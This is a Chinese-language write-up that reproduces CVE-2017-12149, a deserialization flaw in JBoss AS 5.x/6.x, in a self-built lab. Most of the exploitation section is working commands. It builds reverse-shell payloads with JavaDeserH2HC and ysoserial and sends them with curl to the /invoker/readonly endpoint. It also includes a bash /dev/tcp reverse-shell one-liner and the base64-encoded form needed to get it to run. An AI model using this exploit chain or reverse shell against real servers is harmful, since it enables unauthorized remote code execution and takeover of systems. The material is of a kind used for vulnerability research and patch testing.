0x00.漏洞简介

漏洞编号:

CVE-2017-12149

漏洞名称:

Jboss AS 5.x/6.x 反序列化漏洞

漏洞描述:

JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。

影响版本:

Jboss AS 5.x
Jboss AS 6.x

0x01.环境搭建

下载地址:http://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip
当然也可以是其他存在漏洞的版本(http://jbossas.jboss.org/downloads/
然后:

1
2
cd jboss-xx/bin
run.sh -b 0.0.0.0

这样Jboss就在0.0.0.0的8080端口跑起来了,当然java环境要提前准备好,这点无须多言。

0x02 漏洞复现

以下分别用两个Java反序列化工具进行测试

2.1、JavaDeserH2HC

https://github.com/joaomatosf/JavaDeserH2HC

如下测试反弹:

1
2
3
4
5
6
#Compiling
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#Saving serialized object in ExampleCommonsCollections1.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
#Exploiting vulnerable server:
curl http://192.168.1.106:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

(注:用该工具测试直接执行命令一直失败,但nc返台的payload执行并没有问题,可能是工具本身问题,也可能是因为我太菜。)

2.2、ysoserial

https://github.com/frohoff/ysoserial
首先进行编译

1
mvn clean package -DskipTests

生成payload并发送

1
2
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/123.txt" > tmp.ser
curl http://192.168.1.106:8080/invoker/readonly --data-binary @tmp.ser

这里有个坑就是要执行反弹的时候,比如bash -i >& /dev/tcp/192.169.1.104/88 0>&1,要转成bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY5LjEuMTA0Lzg4IDA+JjE=}|{base64,-d}|{bash,-i}这种base64的形式,不然一直出错。